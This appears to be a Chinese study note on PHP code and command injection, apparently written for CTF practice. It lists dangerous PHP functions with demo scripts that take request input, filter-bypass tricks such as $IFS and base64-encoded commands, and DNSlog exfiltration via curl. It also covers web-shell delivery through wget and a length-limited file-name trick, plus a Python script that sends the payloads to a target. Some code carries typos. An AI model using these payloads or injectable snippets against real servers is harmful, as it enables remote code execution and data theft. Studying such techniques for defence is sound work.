代码/命令执行
1.概念:
代码执行:控制PHP的代码,就是代码执行
命令执行:控制服务器含有的命令,即没有做过滤类似于system() eval() exec()
等函数
2.代码注入
eval()
传入的是一个完整的语句(把任何字符串当作代码执行)
#eval()函数实现命令执行
<?php
highlight_file(__FILE__);
$a = 'phpinfo();' ;
eval($a) ;
?>
assert()
(不常用)
#assert()函数实现命令执行
<?php
error_reporting(E_ALL) ;
highlight_file(__FILE__) ;
#$a ='echo 12345;';
#assert($a);
$a='eval("echo 'pwd';")';
assert($a);
echo 123;
?>
mixed call_user_func(callable $callback [, mixed $parameter [,mixed $... ]] )
- 第一个参数$callback就是被调用的函数,第二个参数是给第一个参数的,作为第一个函数的参数。
- 可以调用任何内置函数或用户自定义的函数
- 除了:
array() echo() empty() eval() isset() list() print() 和 unset()
等语言结构函数
#call_user_func函数
<?php
highlight_file(__FILE__);
$a = 'system' ;
$b = 'pwd' ;
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>
mixed call_user_func_array(callback $callback,array $param_arr)
- callback 是被调用的函数,param_arr要被传入回调函数的数组
<?php
highlight_file(__FILE__);
$a = 'assert';
$b = array('phpinfo()');
call_user_func_array($a,$b);
?>
string create_function(string $args,string $code)
- 该函数会创建一个匿名函数
- args 是要创建的匿名函数的参数,code是该匿名函数内的代码
<?php
highlight_file(__FILE__) ;
$a = create_function('$code','echo $code;');
$b = 'hello';
$a($b); //执行该函数
$a ='phpinfo();';
$b = create_function('',$a);
$b(); //执行该函数
?>
preg_replace( mixed $pattern, mixed $replacement,mixed $subject [,int $limit=-1 [, int &$count]])
- 执行一个正则表达式的搜索和替换
- /e修正符使preg_replace将 replacement参数当做PHP代码 (在适当的逆向引用和替换完之后,匹配不完成不执行)
<?php
highlight_file(__FILE__) ;
$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>
array array_map (callable $callback,array $array1 [,array $... ] )
- array_map为数组的每个元素应用回调函数
- eval()不可传入,可使用assert()
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>
bool usort(array &$array, callable $value_compare_func)
- usort 使用用户自定义的比较函数对数组中的值进行排序
- 注意用get传入至少两个参数用来比较,且PHPinfo不能放在usort的第二个参数上,直接放在第一个参数上就行
<?php
highlight_file(__FILE__) ;
#usort($_GET);
usort($_GET[1],'assert');
?>
bool uasort(array $array,callable $value_compare_func)
- uasort -使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
<?php
highlight_file(__FILE__);
$e = 'assert';
$arr = array($_REQUEST['pass'], 'test');
uasort($arr,$e);
?>
-
${php代码}
<?php highlight_file(__FILE__); ${phpinfo()}; ?>
3.命令注入
-
string system(string command,int &return_var)
可以用来执行系统命令并将相应的执行结果输出
<?php
highlight_file(__FILE__) ;
system('pwd');
system('whoami');
?>
string exec(string command, array &output, int &return_var)
- 命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用
passthru()
函数。
如果想要获取命令的输出内容,请确保使用output参数。 - command是要执行的命令
- output是 获得执行命令输出的每一行 字符串
- return_ var存放执行命令后的状态值
- 命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用
<?php
highlight_file(__FILE__) ;
var_dump(exec('ls')) ;
exec ('ls',$b);
var_dump($b);
?>
void passthru(string command, int &return_var)
- command是要执行的命令
- return_var存放执行命令后的状态值
<?php
highlight_file(__FILE__);
passthru('ls');
?>
string shell_ exec (string command)
- command 是要执行的命令
<?php
highlight_file(__FILE__);
var_dump(she1l_exec('ls'));
?>
- `` 两个反引号
- 与shell_exec功能相同,执行shell命令并返回输出的字符串
<?php
highlight_file(__FILE__);
$a='pwd';
echo `$a`;
?>
bool ob_start([callback $output_callback [,int $chunk_size [, bool $erase ]]])
- ob_start 打 开输出控制缓冲
<?php
highlight_file(__FILE__) ;
$cmd ='system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush() ;
?>
4.命令执行的绕过
- php代码中包含system()命令,但是预定义了使用的函数,此时的绕过方法
<?php
highlight_file(__FILE__);
$rce ="echo";
system($rce.$_GET[1]);
?>
- 绕过的符号
换行符 %0a
回车符 %0d
连续指令 ;(分号)
后台进程 &
管道符 |
(逻辑判断符号) || &&
- 拼接方式绕过
a=l;b=s;$a$b //拼接ls
- base64 绕过
`echo d2hvYW1p|base64 -D` //将whoami的base64解码后再用反引号(``)执行
substr string pos len
echo "${PATH:0:1}" //取PATH,从0位开始,取一位
echo `expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1` //百度expr的用法,此处好像不怎么能用哈
5.命令执行的空格代替
<
符号$IFS 、${IFS} 、$IFS$9
:$9 意思是第九个参数%09
用于url传递
6.命令执行无回显的方法
-
判断:
- 延时
- HTTP请求:dnslog
- DNS 请求:dnslog(dnslog.cn)
-
利用:
- 写shell(直接写入/外部下载,需要联网)
- http/dns等方式带出数据(通过构造curl xxxx.dnslog的域名,把数据带出)
- 注意xxxx.dnslog 中不能有空格,所以用sed命令将空格替换
cat flag.php|sed s/[[:space:]]//
7.可控字符串长度受限下getshell
-
使用
ls > 1
进行命令执行测试 -
15个字符:限制字符长度,可能没有限制命令执行次数
- 在远程wget一个文件,然后再执行一次改名的命令
wget a.cn/1
mv 1 1.php
- 直接写入getshell-php
echo 1234 >>q.php
,一次写不全就多追加几次(eval($_GET[1]);
)
- 在远程wget一个文件,然后再执行一次改名的命令
<?php
highlight_ file(__FILE__) ;
if(strlen($_GET[1])<15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>
- 7个字符:限制字符长度,可能没有限制命令执行次数
- 思路
ls>a
会把ls的内容输入到a中 l>a
:因为l
不是命令,所以不会有内容,但是同样会生成a文件- 通过
l>a
l>b
等操作,生成一堆文件(文件名组合起来是一句话,一句话配合base64进行上传)配合\
进行命令拼接,命令拼接好放到一个中,用sh 执行文件,生成一句话或完成其他工作 ls -t
会按照文件最新的时间进行排序显示(解决了文件名的顺序问题)- 再通过
ls -t >a
命令,将文件名组合一起,放入某php文件中(实现getshell)
- 思路
echo PD9waHAgZWNhbCgkX0dFVFsxXSk7 | base64 -d >1.php
//PD9waHAgZWNhbCgkX0dFVFsxXSk7
w>hp //file.txt 文件
w>l.p\\
w>d\>\\ //此处容易出错,会显示有\n 回车
w>\ -\\
w>e64\\ //注意:eval($_GET[1]); 经过base64编码后为 ZXZhbCgkX0dFVFsxXSk7
w>bas\\ //在shell脚本中,\\的意思是命令换行分割,(可以与下一行的字符拼接到一块组成命令)
w>7\|\\
w>k\\
w>xXS\\
w>VFs\\
w>0dF\\
w>gkX\\
w>hbC\\
w>ZWN\\
w>HAg\\
w>9wa\\
w>PD\\
w>o\ \\ //此处有空格
w>ech\\
ls -t>0
sh 0
//这个脚本意思是把那句shell输出到 0 文件中,然后最后一句用sh执行0文件,生成一句话
# coding:utf-8
import requests
url1 = "http://xx.xx.xx.xx/index.php?1="
with open("file.txt","r") as f:
for in f:
url = url1+ i.strip()
requests.get(url)
#print "已经请求%S" % url
res = requests.get("http://xx.xx.xx.xx/1.php")
if res.status_code:
print 'ok'